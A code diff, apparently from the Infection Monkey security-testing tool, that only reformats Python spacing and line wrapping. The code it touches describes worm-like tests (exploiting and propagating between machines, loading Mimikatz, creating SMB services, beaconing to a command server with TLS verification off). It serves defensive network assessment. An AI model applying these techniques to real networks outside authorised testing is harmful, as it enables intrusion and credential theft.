STATUS_VERIFY:"Monkey performed malicious actions in the network. Check SOC logs and "
|
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and "
|
||||||
"alerts."
|
"alerts."
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
|
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
|
||||||
PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS],
|
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
|
||||||
},
|
},
|
||||||
TEST_ENDPOINT_SECURITY_EXISTS:{
|
TEST_ENDPOINT_SECURITY_EXISTS: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey checked if there is an active process of an "
|
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an "
|
||||||
"endpoint security software.",
|
"endpoint security software.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey didn't find ANY active endpoint security processes. Install and "
|
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and "
|
||||||
"activate anti-virus "
|
"activate anti-virus "
|
||||||
"software on endpoints.",
|
"software on endpoints.",
|
||||||
STATUS_PASSED:"Monkey found active endpoint security processes. Check their logs to "
|
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to "
|
||||||
"see if Monkey was a "
|
"see if Monkey was a "
|
||||||
"security concern. ",
|
"security concern. ",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY,
|
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||||
PILLARS_KEY:[DEVICES],
|
PILLARS_KEY: [DEVICES],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_MACHINE_EXPLOITED:{
|
TEST_MACHINE_EXPLOITED: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey tries to exploit machines in order to "
|
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to "
|
||||||
"breach them and propagate in the network.",
|
"breach them and propagate in the network.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey successfully exploited endpoints. Check IDS/IPS logs to see "
|
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see "
|
||||||
"activity recognized and see "
|
"activity recognized and see "
|
||||||
"which endpoints were compromised.",
|
"which endpoints were compromised.",
|
||||||
STATUS_PASSED:"Monkey didn't manage to exploit an endpoint.",
|
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY,
|
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||||
PILLARS_KEY:[DEVICES],
|
PILLARS_KEY: [DEVICES],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY],
|
||||||
},
|
},
|
||||||
TEST_SCHEDULED_EXECUTION:{
|
TEST_SCHEDULED_EXECUTION: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey was executed in a scheduled manner.",
|
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_VERIFY:"Monkey was executed in a scheduled manner. Locate this activity in "
|
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in "
|
||||||
"User-Behavior security "
|
"User-Behavior security "
|
||||||
"software.",
|
"software.",
|
||||||
STATUS_PASSED:"Monkey failed to execute in a scheduled manner.",
|
STATUS_PASSED: "Monkey failed to execute in a scheduled manner.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_USER_BEHAVIOUR,
|
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
||||||
PILLARS_KEY:[PEOPLE, NETWORKS],
|
PILLARS_KEY: [PEOPLE, NETWORKS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
|
||||||
},
|
},
|
||||||
TEST_DATA_ENDPOINT_ELASTIC:{
|
TEST_DATA_ENDPOINT_ELASTIC: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to "
|
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to "
|
||||||
"ElasticSearch instances.",
|
"ElasticSearch instances.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey accessed ElasticSearch instances. Limit access to data by "
|
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by "
|
||||||
"encrypting it in in-transit.",
|
"encrypting it in in-transit.",
|
||||||
STATUS_PASSED:"Monkey didn't find open ElasticSearch instances. If you have such "
|
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such "
|
||||||
"instances, look for alerts "
|
"instances, look for alerts "
|
||||||
"that indicate attempts to access them. ",
|
"that indicate attempts to access them. ",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
|
||||||
PILLARS_KEY:[DATA],
|
PILLARS_KEY: [DATA],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_DATA_ENDPOINT_HTTP:{
|
TEST_DATA_ENDPOINT_HTTP: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to HTTP " "servers.",
|
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP " "servers.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey accessed HTTP servers. Limit access to data by encrypting it in"
|
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in"
|
||||||
" in-transit.",
|
" in-transit.",
|
||||||
STATUS_PASSED:"Monkey didn't find open HTTP servers. If you have such servers, "
|
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, "
|
||||||
"look for alerts that indicate "
|
"look for alerts that indicate "
|
||||||
"attempts to access them. ",
|
"attempts to access them. ",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
|
||||||
PILLARS_KEY:[DATA],
|
PILLARS_KEY: [DATA],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_DATA_ENDPOINT_POSTGRESQL:{
|
TEST_DATA_ENDPOINT_POSTGRESQL: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " "PostgreSQL servers.",
|
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to " "PostgreSQL servers.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey accessed PostgreSQL servers. Limit access to data by encrypting"
|
STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting"
|
||||||
" it in in-transit.",
|
" it in in-transit.",
|
||||||
STATUS_PASSED:"Monkey didn't find open PostgreSQL servers. If you have such servers, "
|
STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, "
|
||||||
"look for alerts that "
|
"look for alerts that "
|
||||||
"indicate attempts to access them. ",
|
"indicate attempts to access them. ",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
|
||||||
PILLARS_KEY:[DATA],
|
PILLARS_KEY: [DATA],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_TUNNELING:{
|
TEST_TUNNELING: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey tried to tunnel traffic using other monkeys.",
|
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey tunneled its traffic using other monkeys. Your network policies "
|
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies "
|
||||||
"are too permissive - "
|
"are too permissive - "
|
||||||
"restrict them. "
|
"restrict them. "
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||||
PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS],
|
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED],
|
||||||
},
|
},
|
||||||
TEST_COMMUNICATE_AS_NEW_USER:{
|
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey tried to create a new user and communicate "
|
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate "
|
||||||
"with the internet from it.",
|
"with the internet from it.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey caused a new user to access the network. Your network policies "
|
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies "
|
||||||
"are too permissive - "
|
"are too permissive - "
|
||||||
"restrict them to MAC only.",
|
"restrict them to MAC only.",
|
||||||
STATUS_PASSED:"Monkey wasn't able to cause a new user to access the network.",
|
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||||
PILLARS_KEY:[PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
|
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES:{
|
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite assessed cloud firewall rules and settings.",
|
TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found overly permissive firewall rules.",
|
STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.",
|
||||||
STATUS_PASSED:"ScoutSuite found no problems with cloud firewall rules.",
|
STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||||
PILLARS_KEY:[NETWORKS],
|
PILLARS_KEY: [NETWORKS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_UNENCRYPTED_DATA:{
|
TEST_SCOUTSUITE_UNENCRYPTED_DATA: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for resources containing " "unencrypted data.",
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found resources with unencrypted data.",
|
STATUS_FAILED: "ScoutSuite found resources with unencrypted data.",
|
||||||
STATUS_PASSED:"ScoutSuite found no resources with unencrypted data.",
|
STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
|
||||||
PILLARS_KEY:[DATA],
|
PILLARS_KEY: [DATA],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION:{
|
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for resources which are not "
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not "
|
||||||
"protected against data loss.",
|
"protected against data loss.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found resources not protected against data loss.",
|
STATUS_FAILED: "ScoutSuite found resources not protected against data loss.",
|
||||||
STATUS_PASSED:"ScoutSuite found that all resources are secured against data loss.",
|
STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_DISASTER_RECOVERY,
|
PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY,
|
||||||
PILLARS_KEY:[DATA],
|
PILLARS_KEY: [DATA],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_SECURE_AUTHENTICATION:{
|
TEST_SCOUTSUITE_SECURE_AUTHENTICATION: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for issues related to users' " "authentication.",
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found issues related to users' authentication.",
|
STATUS_FAILED: "ScoutSuite found issues related to users' authentication.",
|
||||||
STATUS_PASSED:"ScoutSuite found no issues related to users' authentication.",
|
STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_SECURE_AUTHENTICATION,
|
PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION,
|
||||||
PILLARS_KEY:[PEOPLE, WORKLOADS],
|
PILLARS_KEY: [PEOPLE, WORKLOADS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES:{
|
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for permissive user access " "policies.",
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found permissive user access policies.",
|
STATUS_FAILED: "ScoutSuite found permissive user access policies.",
|
||||||
STATUS_PASSED:"ScoutSuite found no issues related to user access policies.",
|
STATUS_PASSED: "ScoutSuite found no issues related to user access policies.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||||
PILLARS_KEY:[PEOPLE, WORKLOADS],
|
PILLARS_KEY: [PEOPLE, WORKLOADS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_LOGGING:{
|
TEST_SCOUTSUITE_LOGGING: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for issues, related to logging.",
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found logging issues.",
|
STATUS_FAILED: "ScoutSuite found logging issues.",
|
||||||
STATUS_PASSED:"ScoutSuite found no logging issues.",
|
STATUS_PASSED: "ScoutSuite found no logging issues.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING,
|
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
|
||||||
PILLARS_KEY:[AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS],
|
PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
TEST_SCOUTSUITE_SERVICE_SECURITY:{
|
TEST_SCOUTSUITE_SERVICE_SECURITY: {
|
||||||
TEST_EXPLANATION_KEY:"ScoutSuite searched for service security issues.",
|
TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"ScoutSuite found service security issues.",
|
STATUS_FAILED: "ScoutSuite found service security issues.",
|
||||||
STATUS_PASSED:"ScoutSuite found no service security issues.",
|
STATUS_PASSED: "ScoutSuite found no service security issues.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING,
|
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
|
||||||
PILLARS_KEY:[DEVICES, NETWORKS],
|
PILLARS_KEY: [DEVICES, NETWORKS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -315,13 +315,13 @@ EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
|
||||||
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
|
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
|
||||||
|
|
||||||
PILLARS_TO_TESTS = {
|
PILLARS_TO_TESTS = {
|
||||||
DATA:[],
|
DATA: [],
|
||||||
PEOPLE:[],
|
PEOPLE: [],
|
||||||
NETWORKS:[],
|
NETWORKS: [],
|
||||||
DEVICES:[],
|
DEVICES: [],
|
||||||
WORKLOADS:[],
|
WORKLOADS: [],
|
||||||
VISIBILITY_ANALYTICS:[],
|
VISIBILITY_ANALYTICS: [],
|
||||||
AUTOMATION_ORCHESTRATION:[],
|
AUTOMATION_ORCHESTRATION: [],
|
||||||
}
|
}
|
||||||
|
|
||||||
PRINCIPLES_TO_TESTS = {}
|
PRINCIPLES_TO_TESTS = {}
|
||||||
|
|
|
@ -99,7 +99,7 @@ class IpRange(NetworkRange):
|
||||||
addresses = ip_range.split("-")
|
addresses = ip_range.split("-")
|
||||||
if len(addresses) != 2:
|
if len(addresses) != 2:
|
||||||
raise ValueError(
|
raise ValueError(
|
||||||
"Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range
|
"Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range
|
||||||
)
|
)
|
||||||
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
|
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
|
||||||
elif (lower_end_ip is not None) and (higher_end_ip is not None):
|
elif (lower_end_ip is not None) and (higher_end_ip is not None):
|
||||||
|
@ -112,8 +112,8 @@ class IpRange(NetworkRange):
|
||||||
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
|
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
|
||||||
if self._higher_end_ip_num < self._lower_end_ip_num:
|
if self._higher_end_ip_num < self._lower_end_ip_num:
|
||||||
raise ValueError(
|
raise ValueError(
|
||||||
"Higher end IP %s is smaller than lower end IP %s"
|
"Higher end IP %s is smaller than lower end IP %s"
|
||||||
% (self._lower_end_ip, self._higher_end_ip)
|
% (self._lower_end_ip, self._higher_end_ip)
|
||||||
)
|
)
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
|
@ -177,8 +177,8 @@ class SingleIpRange(NetworkRange):
|
||||||
domain_name = string_
|
domain_name = string_
|
||||||
except socket.error:
|
except socket.error:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Your specified host: {} is not found as a domain name and"
|
"Your specified host: {} is not found as a domain name and"
|
||||||
" it's not an IP address".format(string_)
|
" it's not an IP address".format(string_)
|
||||||
)
|
)
|
||||||
return None, string_
|
return None, string_
|
||||||
# If a string_ was entered instead of IP we presume that it was domain name and translate it
|
# If a string_ was entered instead of IP we presume that it was domain name and translate it
|
||||||
|
|
|
@ -14,29 +14,29 @@ class ScanStatus(Enum):
|
||||||
|
|
||||||
class UsageEnum(Enum):
|
class UsageEnum(Enum):
|
||||||
SMB = {
|
SMB = {
|
||||||
ScanStatus.USED.value:"SMB exploiter ran the monkey by creating a service via MS-SCMR.",
|
ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
|
||||||
ScanStatus.SCANNED.value:"SMB exploiter failed to run the monkey by creating a service "
|
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service "
|
||||||
"via MS-SCMR.",
|
"via MS-SCMR.",
|
||||||
}
|
}
|
||||||
MIMIKATZ = {
|
MIMIKATZ = {
|
||||||
ScanStatus.USED.value:"Windows module loader was used to load Mimikatz DLL.",
|
ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
|
||||||
ScanStatus.SCANNED.value:"Monkey tried to load Mimikatz DLL, but failed.",
|
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.",
|
||||||
}
|
}
|
||||||
MIMIKATZ_WINAPI = {
|
MIMIKATZ_WINAPI = {
|
||||||
ScanStatus.USED.value:"WinAPI was called to load mimikatz.",
|
ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
|
||||||
ScanStatus.SCANNED.value:"Monkey tried to call WinAPI to load mimikatz.",
|
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.",
|
||||||
}
|
}
|
||||||
DROPPER = {
|
DROPPER = {
|
||||||
ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot."
|
ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
|
||||||
}
|
}
|
||||||
SINGLETON_WINAPI = {
|
SINGLETON_WINAPI = {
|
||||||
ScanStatus.USED.value:"WinAPI was called to acquire system singleton for monkey's "
|
ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's "
|
||||||
"process.",
|
"process.",
|
||||||
ScanStatus.SCANNED.value:"WinAPI call to acquire system singleton"
|
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
|
||||||
" for monkey process wasn't successful.",
|
" for monkey process wasn't successful.",
|
||||||
}
|
}
|
||||||
DROPPER_WINAPI = {
|
DROPPER_WINAPI = {
|
||||||
ScanStatus.USED.value:"WinAPI was used to mark monkey files for deletion on next boot."
|
ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -35,8 +35,8 @@ class MongoUtils:
|
||||||
# objectSid property of ds_user is problematic and need this special treatment.
|
# objectSid property of ds_user is problematic and need this special treatment.
|
||||||
# ISWbemObjectEx interface. Class Uint8Array ?
|
# ISWbemObjectEx interface. Class Uint8Array ?
|
||||||
if (
|
if (
|
||||||
str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid)
|
str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid)
|
||||||
== "{269AD56A-8A67-4129-BC8C-0506DCFE9880}"
|
== "{269AD56A-8A67-4129-BC8C-0506DCFE9880}"
|
||||||
):
|
):
|
||||||
return o.Value
|
return o.Value
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|
|
@ -18,8 +18,7 @@ def get_version(build=BUILD):
|
||||||
def print_version():
|
def print_version():
|
||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-b", "--build", default=BUILD, help="Choose the build string for this version.",
|
"-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str
|
||||||
type=str
|
|
||||||
)
|
)
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
print(get_version(args.build))
|
print(get_version(args.build))
|
||||||
|
|
|
@ -52,32 +52,32 @@ class ControlClient(object):
|
||||||
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
||||||
|
|
||||||
monkey = {
|
monkey = {
|
||||||
"guid":GUID,
|
"guid": GUID,
|
||||||
"hostname":hostname,
|
"hostname": hostname,
|
||||||
"ip_addresses":local_ips(),
|
"ip_addresses": local_ips(),
|
||||||
"description":" ".join(platform.uname()),
|
"description": " ".join(platform.uname()),
|
||||||
"internet_access":has_internet_access,
|
"internet_access": has_internet_access,
|
||||||
"config":WormConfiguration.as_dict(),
|
"config": WormConfiguration.as_dict(),
|
||||||
"parent":parent,
|
"parent": parent,
|
||||||
}
|
}
|
||||||
|
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
monkey["tunnel"] = ControlClient.proxies.get("https")
|
monkey["tunnel"] = ControlClient.proxies.get("https")
|
||||||
|
|
||||||
requests.post(
|
requests.post(
|
||||||
"https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123
|
"https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=20,
|
timeout=20,
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def find_server(default_tunnel=None):
|
def find_server(default_tunnel=None):
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Trying to wake up with Monkey Island servers list: %r"
|
"Trying to wake up with Monkey Island servers list: %r"
|
||||||
% WormConfiguration.command_servers
|
% WormConfiguration.command_servers
|
||||||
)
|
)
|
||||||
